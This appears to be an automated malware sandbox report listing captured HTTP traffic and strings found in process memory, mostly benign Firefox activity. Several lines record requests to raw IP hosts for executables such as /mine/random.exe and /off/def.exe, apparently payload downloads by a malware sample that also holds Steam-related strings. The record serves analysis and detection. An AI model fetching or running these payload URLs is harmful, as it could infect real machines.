Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading.https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: - the given reason to update is not supportedKEY_PLUGIN_LAST_INSTALL_FAIL_REASONuninstallPlugin() - unregistering gmp directory media.gmp-manager.secondsBetweenChecksipc:first-content-process-createdonPrefEnabledChanged() - adding gmp directory media.gmp-manager.cert.checkAttributessitepermsaddon-provider-registereddom.sitepermsaddon-provider.enabledfindUpdates() - updateTask succeeded for startup - adding clearkey CDM directory findUpdates() - found update for This should only be called from XPCShell testsresource://gre/modules/amManager.sys.mjsresource://gre/modules/UpdateUtils.sys.mjsmedia.gmp-manager.cert.requireBuiltInresource://gre/modules/AddonManager.sys.mjsspeculativeConnectWithOriginAttributesresource://gre/modules/AddonManager.sys.mjsaddGatedPermissionTypesForXpcShellTestsonPrefEnabledChanged() - removing gmp directory startup - adding gmp directory failed with media.gmp-manager.checkContentSignatureThis should only be called from XPCShell testsstartup - adding clearkey CDM failedonPrefEMEGlobalEnabledChanged() id=media.{0}.allow-x64-plugin-on-arm64SitePermsAddonInstall#cancel called twice on KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASON@mozilla.org/spellchecker/user;1pictureinpicture%40mozilla.org:1.0.0://.imgur.io/js/vendor..bundle.jswebcompat-reporter%40mozilla.org:1.5.1@mozilla.org/network/file-output-stream;1FileUtils_closeAtomicFileOutputStreamFileUtils_closeSafeFileOutputStreamhttps://smartblock.firefox.etp/facebook.svg://auth.9c9media.ca/auth/main.js://www.rva311.com/static/js/main..chunk.jsresource://gre/modules/addons/XPIProvider.jsm://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js://connect.facebook.net//all.js*resource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://id.rambler.ru/rambler-id-helper/auth_events.js://securepubads.g.doubleclick.net/gpt/pubads_impl_.js://media.richrelevance.com/rrserver/js/1.2/p13n.js://www.gstatic.com/firebasejs//firebase-messaging.js equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://pubads.g.doubleclick.net/gampad/xml_vmap1*://pubads.g.doubleclick.net/gampad/xml_vmap2://www.facebook.com/platform/impression.php://.adsafeprotected.com//imp/*@mozilla.org/addons/content-policy;1 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2889658691.000002EE5DCE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2897777583.000002EE5E7DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2900792770.000002EE5EA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @identity-credential-header-icon-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/network/protocol;1?name=defaultFailed to listen. Listener already attached.devtools/client/framework/devtools-browserNo callback set for this channel.@mozilla.org/network/protocol;1?name=fileresource://devtools/server/devtools-server.jsDevTools telemetry entry point failed: @mozilla.org/uriloader/handler-service;1browser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNames^([a-z+.-]+:\/{0,3})([^\/@]+@).+^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPresource://devtools/shared/security/socket.js^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)get FIXUP_FLAGS_MAKE_ALTERNATE_URIUnable to start devtools server on Got invalid request to save JSON data^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$devtools/client/framework/devtoolsdevtools.performance.popup.feature-flagDevToolsStartup.jsm:handleDebuggerFlagdevtools.performance.recording.ui-base-urldevtools.debugger.remote-websocket@mozilla.org/dom/slow-script-debug;1{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}JSON Viewer's onSave failed in startPersistence@mozilla.org/uriloader/web-handler-app;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}https://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%sget FIXUP_FLAG_FORCE_ALTERNATE_URIhttp://www.inbox.lv/rfc2368/?value=%shttps://poczta.interia.pl/mh/?mailto=%sScheme should be either http or httpsgecko.handlerService.defaultHandlersVersionresource://gre/modules/DeferredTask.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/file-input-stream;1_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sCan't invoke URIFixup in the content processresource://gre/modules/FileUtils.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.inbox.lv/compose?to=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1isDownloadsImprovementsAlreadyMigratedresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/DeferredTask.sys.mjs@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjs_finalizeInternal/this._finalizePromise<resource://gre/modules/URIFixup.sys.mjsextractScheme/fixupChangedProtocol<handlerSvc fillHandlerInfo: don't know this typeMust have a source and a callback@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1@mozilla.org/network/async-stream-copier;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULL@mozilla.org/intl/converter-input-stream;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sVALIDATE_DONT_COLLAPSE_WHITESPACENon-zero amount of bytes must be specifiedhttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/handler-service;1newChannel requires a single object argument@mozilla.org/uriloader/handler-service;1First argument should be an nsIInputStreamhttps://ma
Source: aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
